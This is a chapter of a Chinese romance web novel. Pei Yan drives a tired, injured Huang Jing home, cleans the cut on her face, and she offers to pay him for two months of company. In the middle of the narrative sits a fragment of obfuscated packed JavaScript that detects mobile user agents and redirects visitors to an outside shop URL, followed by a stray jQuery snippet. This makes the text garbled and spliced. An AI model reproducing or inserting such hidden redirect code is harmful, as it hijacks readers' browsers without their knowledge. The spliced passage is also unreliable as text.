饭局不长。靳司最先起身，没有跟任何人打招呼，只是放下餐巾，从椅背上拿起外套，搭在手臂上。路过裴砚身边时看了一眼裴砚，又瞥了一眼坐在他旁边的黄晶。什么也没说，收回目光，走了。
苏衍之紧随其后，披着外套站起来，不紧不慢地踱到黄晶身边。他停了一下，微微侧头，像是有什么话要说，但最终他只是笑了笑，那笑意很浅，像是看到一个有趣的谜面，决定暂时不急着知道谜底。然后他跟在靳司后面，也走入了专用通道。
霍云峥起身的时候把打火机落在了桌上。他走出去两步又折回来拿，经过裴砚背后时在他肩上拍了一下。那一下里有好几层意思：今天这事不算完，上官家那边我会看着，这个人你自己看着办。然后往大厅的方向走，他不需要跟任何人报备自己要去哪里。
上官越早就被人送到医院去了。桌上的所有人都没有提他，好像他从来没有出现过。
闻则远走得最快。他从座位上站起来的时候椅子差点翻过去，他扶了一下，然后头也不回地往大厅那边走，快到他甚至没有跟她有任何眼神接触。
椅脚在地毯上蹭出第一声沉闷的声响时，黄晶就睁开了眼睛，缓了几秒后她拿起面前的水壶，给旁边那只杯子倒了水——手并没有从杯口上过。再拿起摆在旁边的筷子，用方的那头推着杯子，往旁边那人的手边送了送。筷子是干净的，她整晚都没用过。
从饭局开始到现在，黄晶没有看过旁边人的正脸——她太累了，累到懒得去记任何一张新面孔。但她记得他在她坐下之前，替她把椅子拉开了一点。在这个所有人都用目光把她从头扫到脚的房间里，只有这个人做了一件不用她开口的事。
黄晶抬起头看着他的眼睛，目光平静，开口道：“送我回家。”
裴砚坐在她旁边，手里握着那杯她推过来的水。他低头看了一眼杯子里微微晃动的水面，又抬眼看向她。
黄晶还在看他，眼神不避不躲。
裴砚放下杯子，靠在椅背上，也看着她。两个人隔着一张空了的餐桌，目光在空中对上了。
黄晶的眼睛很黑，睫毛很长但不翘，投下来一小片浅浅的阴影。脸上那道伤口还在，暗红色的一道，从颧骨下方斜斜往上，隐入耳边的碎发里。她没处理，没捂过，甚至没问过任何人“有没有创可贴”。
“你知道从这里到八角打车要多少钱吗？”裴砚忽然问。
“不知道。”
“那你让我送我就送？”
“你可以拒绝。”
裴砚看着她。那双眼睛里没有试探，没有闪烁，只有一种近乎天真的坦荡——天真到残忍。她根本不知道她这句“你可以拒绝”对他来说意味着什么。
裴砚拿起车钥匙站起来。
“走吧。”他说。语气里有一丝不明显的、被自己压下去的无奈。他明明可以拒绝，但他不想。
裴砚带她走的是那条专用通道——地毯厚得踩上去没有声音，壁灯是暖黄色的，走廊两侧的木质饰面板在暗光里泛着哑光。没有围观的人，没有侍者列队，没有音乐声和香水味，只有她的鞋踩在地毯上的轻微摩擦声，和他不紧不慢的脚步声。
电梯已经在等了。轿厢里只有他们两个人，黄晶靠在电梯墙上闭了一会儿眼，能感觉到轿厢在往下沉，耳膜微微发胀。门开了，地下停车场的空气凉凉的，带着一点汽油和轮胎的味道。
今晚裴砚开的是一辆黑色的奔驰G-Class。硬朗，沉默，像一块方方正正的黑色岩石，停在那些流线型超跑中间，不抢眼，但很难忽略。
裴砚先一步拉开驾驶座车门，坐进去，发动引擎，然后从后视镜里看着她。车锁没有开。
黄晶走到后座车门旁，伸手去拉把手。没拉动。她低头看了一眼门把手，又看了一眼车窗——车窗是深色的，看不清里面。她抬手在车窗上自然地敲了两下。
车里安静了片刻。然后咔哒一声，车锁弹开了。
黄晶拉开车门，抬腿的时候差点踩滑——底盘太高了，她扶了一下车门框，稳住身体，坐进去，关门，系安全带。整套动作行云流水，没有一句多余的话，没有一个多余的眼神。好像他给她开车门这件事，和超市收银员给她扫码一样，是他的本职工作。
裴砚从后视镜里收回目光，挂挡，车驶出地库，穿过雨夜中的北京城。
黄晶靠在座椅上，看着窗外。雨还在下，细密的雨丝在车窗上拉出无数道斜线，又被雨刷一层一层地刮掉。然后头靠着车窗，闭上了眼睛。
路灯的光透过水珠散成星星点点的碎金，街景在雨中模糊成一片暖黄色的光晕。
黄晶的呼吸从急促慢慢变成平稳，又从平稳变成绵长。
她睡着了。
裴砚把车停在小区门口的路边，熄了火，关了车灯，只留雨刷还在一下一下地刮。然后他坐在黑暗里，听着后座均匀的呼吸声，看着窗外这场似乎永远不会停的雨。
他没有叫醒她。
大概过了一个小时。后座传来窸窸窣窣的声音。裴砚抬眼，从后视镜里看到她揉着眼睛坐起来，头发被车窗压得有点翘，左脸颊上那道细长的伤口在昏暗的光线里像一道浅浅的阴影。
她看起来睡得很沉，醒来的时候整个人是懵的，眯着眼看了看窗外，又看了看前面，大概花了好几秒才想起来自己在哪里。
意识回笼时，那些散落的碎片正快速重组——暴雨、公园、发抖、上错车、会所、刀子、血，还有饭局上那壶被推到她手边的温水。
黄晶蜷在后座上，身体还残留着刚才的疲惫和药效，但脑子正在以一种她熟悉的、曾用来解无数道逻辑题的清醒运转着。
一个念头突然劈进她脑海里。抑郁焦虑让她必须每天找人说话，否则就会在独处时被自己的念头吞没；医生建议她养只猫或狗，但宠物要打疫苗、买粮、做绝育，而她没钱。
两个月，她需要有人陪她两个月。而这个人送她回家，给她倒了一壶水，没问她叫什么，也没问她从哪里来。干净，安静，不索取任何东西。最关键的是——他在路边停车，说明他现在很闲。
黄晶忽然坐直了身体，然后她的视线落在他身上。“包养你需要多少钱？”她开口，语气平淡，像是在菜市场拿起一把青菜问价。
裴砚熄了火。车已经停在小区门口了，雨刷还在来回摆。他把手从方向盘上拿下来，转过身，看着后座上那个人。
她还盯着他。
“你知道我是谁吗？”他问。这句话从他嘴里说出来，自己都觉得有点好笑——他这辈子是第一次被人问这种问题。
“不知道。”黄晶顿了一下，像是在认真思考，“但我觉得你应该挺贵的。”
裴砚看着后座上这个刚睡醒、脸上带伤、问他要多少钱的姑娘。然后他转回去，重新发动车。引擎低沉的轰隆声重新填满了整个车厢。
“先把你脸上的伤处理了。”他说，语气还是那种不咸不淡的调子，“其他的，等你清醒了再谈。”
“我很清醒。”
裴砚没说话。
“包养你需要多少钱按月算的话？”黄晶说这句话的时候，语气没有任何波动。她是真的在问价。
裴砚看着那双眼睛。很黑，很认真，带着一种刚刚睡醒的清澈和无论如何都抹不掉的疲惫。他突然意识到一个很荒诞的事实：在她眼里，他可能真的是一个可以租的东西。
“你知道包养是什么意思吗？”
“知道。”
“你说说看。”
“我给你钱，你陪我。”
“陪你干什么？”
“陪我做任何事。”黄晶说这话时候不带丝毫犹豫。
裴砚靠在椅背上，一只手搭着方向盘，侧头看她：“你打算出多少？”
“你觉得你值多少？”
他裴砚活了二十五年，被人叫过无数声“三少”，被人送过无数价值连城的东西，被人情网套过、被利益链绑过、被各种明码标价的资源置换过，但从来没有人让他自己给自己开价。
他甚至有点想笑，又有点笑不出来。因为他意识到，她是真的把这件事当成一笔正经生意在谈。她是甲方，他是乙方。她是买家，他是卖家。她不是求他包养她，是她要包养他。这个区别，比任何东西都更让他觉得荒谬。
“你就不怕我漫天要价？”
“为什么要怕？”黄晶反问，表情甚至有一丝疑惑——狮子大开口有什么好怕的？你觉得你值一万，我觉得你值一千，那就砍价。砍不拢就不买，砍拢了就成交。买卖不成仁义在，她又不是没在菜市场砍过价。
裴砚看着那双眼睛，忽然觉得自己刚才问了一个很蠢的问题。他看了她两秒，然后转回去，重新发动车。
“行，”他说，“先欠着，等我想到再说。祛疤膏——前面有药店，这个不算在账上，算送的。”
车停在二十四小时药店门口。雨已经停了，路面湿漉漉地反射着路灯的光。
黄晶没有动，她抱着手臂靠在车窗上，看着窗外那个亮着绿色灯牌的药店，连动一下的意思都没有。
裴砚下了车，没拔钥匙，车就那么怠速着，空调开着，引擎低低地响着。他站在药店门口回头看了一眼——后座车窗里透出一个模糊的侧影，动都没动。
裴砚摇了摇头，推开药店的门。
裴砚拉开驾驶座的门，没急着上车，先把那个白色的小塑料袋递到后座。
“自己涂还是我帮你？”
黄晶接过袋子，低头翻了翻。祛疤膏，一盒棉签，一包医用纱布，还有一小瓶碘伏——她脸上那道口子虽然不深，但之前在会所里没处理过，碘伏是给她消毒用的。
黄晶翻了一遍，抬起头，把袋子递回给他。“我看不到。”
脸上那道伤在左脸颊，她需要一面镜子才能自己处理。车里没有镜子，她也没带。所以黄晶把袋子递回去，让他想办法。
裴砚接过袋子，站在车门边，沉默了两秒。然后他拉开后座车门，坐了进去。这是今晚他第一次坐进后座，坐在她旁边。他拆开碘伏的包装，把棉签拧开，沾了碘伏，然后转过来面对她。
车里空间很大，但他坐进来之后，忽然觉得也没那么大。黄晶靠在座椅上，侧着头，把左脸转向他。脸上那道细长的伤口在车内暖光灯下看得更清楚了——从颧骨下方斜斜往上，划到靠近耳际的位置，血早就凝固了，边缘有点发红，但好在口子不深，不用缝针。
裴砚伸手把黄晶耳边的碎发拨开，然后棉签落下去。他的动作很轻，轻到她没躲，甚至没眨眼。
黄晶只是看着他的侧脸，看着他的睫毛在车顶灯的光线里投下一小片阴影，看着他眉头微不可察地皱了一下。
“疼吗？”
“有点。”
裴砚没说话，手上的动作更轻了。棉签沿着那道细长的伤口慢慢滚过去，碘伏在皮肤上留下一道浅褐色的痕迹。消毒完了，他拆开祛疤膏的包装，挤了一点在指尖，用棉签蘸了，薄薄地涂在伤口上。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17634922|206530||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>整个过程大概只有三四分钟，但裴砚做完之后把棉签和包装纸收进塑料袋里，没有急着下车，靠在座椅上，侧头看她。
“行了，”他说，“回去别沾水。”
“嗯。”黄晶应了一声。手还是抱在手臂上，但她的目光已经从他脸上移开，重新落回窗外那片水气氤氲的夜色里。
裴砚看了她一秒，然后拉开车门，绕回驾驶座。发动车的时候从后视镜里瞥了一眼——她还是那个姿势，抱着手臂，靠着窗，脸上顶着一层浅浅的药膏，表情淡淡的，像个大小姐在等司机把她送到下一个目的地。
他没有马上开车，等了一小会儿，然后开口：“哪栋？”
“……前面那栋，最里面。”
车停在单元楼门口，雨已经停了，路灯照着湿漉漉的地面，空气里有一股雨后特有的泥土味。
裴砚从后视镜里看她，以为她在找钥匙或者检查手机有没有电。但她从斜挎包里掏出来一个藏蓝色封皮的小手账本，边角有点磨损，里面夹着一支普通的按动笔。
黄晶把本子翻到空白的一页，低头写字。动作很快，笔尖划过纸面发出沙沙的声响，完全没有平时写手账那种一笔一划的工整。写完把笔往包里一塞，撕下那页纸，递给他。
“等你想清楚了，打电话给我。”语气平静，直接，不附带任何多余的情绪。
然后她把纸条往他手里一放，推开后座车门，跳下车。
这车对黄晶来说还是太高了，下车的时候鞋在湿滑的地面上轻轻崴了一下，她扶了一下车门，站稳，然后头也不回地往单元楼里走。
斜挎包的带子在她背后晃来晃去，鞋踩在积水的地砖上发出轻微的啪嗒声。单元门的电子锁发出一声低沉的嗡鸣，门开了，她拉开门，身影消失在楼道里。
裴砚坐在后座上，没有马上下车。他借着车里暖黄色的顶灯展开那张纸条。纸是从手账本上撕下来的，边缘不太整齐，纸面上印着很淡的横线。
她的字迹工工整整，一撇一捺，每个字都写得清清楚楚，像一个刚学写字的小学生努力想把字写对。只有那个“4”写飘了，笔锋带出一个小小的钩，暴露了写字的人其实很着急。
黄。单一个姓，没有名字。下面是一串手机号：188xxxx4938。
裴砚把纸条对折，放进口袋里。然后他站起来，从后座出来，关上车门，绕回驾驶座。车灯重新亮起来，引擎低沉的轰鸣声填满了整个车厢。他握着方向盘，在无人的街道上停了一会儿。
她连他的名字都没问。
裴砚发动车，往城东的方向开去，手指在方向盘上无意识地敲了一下。
黄晶回到家，门在身后合上，隔绝了外面潮湿的夜色。她在玄关站了几秒，鞋还湿着，踩在地板上有点滑。包随手搁在鞋柜上，钥匙丢进门口的小盘子里，发出清脆的一声响。
黄晶没有马上开灯，而是借着窗外路灯透进来的光，摸到床边，整个人向后倒下去。床垫接住了她，弹了一下，然后归于静止。
黄晶躺了很久，久到窗外的雨停了又下，下了又停。久到楼下的车一辆一辆开走，最后只剩路灯孤零零地亮着。久到她的身体终于从“必须撑住”的模式里慢慢退出来，一点一点散在床上，像一块被拧得太紧的毛巾终于被松开。
凌晨一点多，黄晶翻了个身，撑着床沿坐起来。该洗澡了。身上还残留着会所里的味道——香水、雪茄、血腥气、檀香，混在一起，变成一种说不清道不明的、黏在皮肤上的怪味。
她拧开热水，水蒸气慢慢填满浴室。洗完澡，黄晶站在镜子前面，抬手抹掉镜面上的雾气，然后看到了脖子上的伤口。一道细长的红线，从锁骨上方斜斜划过去。脸上的那道她在药店就看到了——那人给她涂碘伏的时候，她对着车里的顶灯看过一眼，伤口不深，应该不会留疤。
但脖子上的这道她之前完全没注意到。热水把凝固的血痂泡开了，淡红色的血从伤口边缘渗出来，沿着脖子往下淌，已经流到了锁骨。
黄晶偏过头，用手指碰了碰伤口边缘。有点痛，像被纸割过的那种疼，细而锐，但不算剧烈。
她抽了一张纸按在伤口上，白纸瞬间洇出一小块粉色。没一会儿，血又渗出来。她的凝血功能一直不太好，一个小小的口子也要流很久才能止住。黄晶把纸团扔掉，换了一张又一张，纸巾的边缘很快就在垃圾桶里堆成了一小团粉色的云。
她的目光扫过洗漱台上的瓶瓶罐罐——洗面奶，保湿水，还有一管没什么用的润唇膏。黄晶拿起那管润唇膏，拧开盖子，用指甲刮了一小块膏体，小心翼翼抹在伤口上。第一层太薄，血还在渗。她又刮了一块，这次抹得很厚，润唇膏的蜡质在伤口表面形成了一层密实的膜，血终于不流了。
黄晶看着镜子里自己脖子上那块亮晶晶的膏体，忽然觉得有点好笑。润唇膏的说明书写着“滋润双唇，防止干裂”，没写能止血。但管用就行。
从浴室出来，黄晶走到平时放药盒的地方。三种药整齐地排列在小药盒的格子里——抗抑郁的，补维生素D的，助眠的。
她的手伸出去，在药盒上方停了一下，然后收回手。算了，今晚不吃了，反正吃了也睡不着。
黄晶关了灯，躺下来，空调被裹在身上，窗外的路灯光透过窗帘在天花板上投下一道模糊的光带。她就那么睁着眼睛，看着那道光带，脑子里什么也没想，又好像什么都想了。
凌晨五点，天边泛起第一丝灰白的时候，黄晶终于睡着了。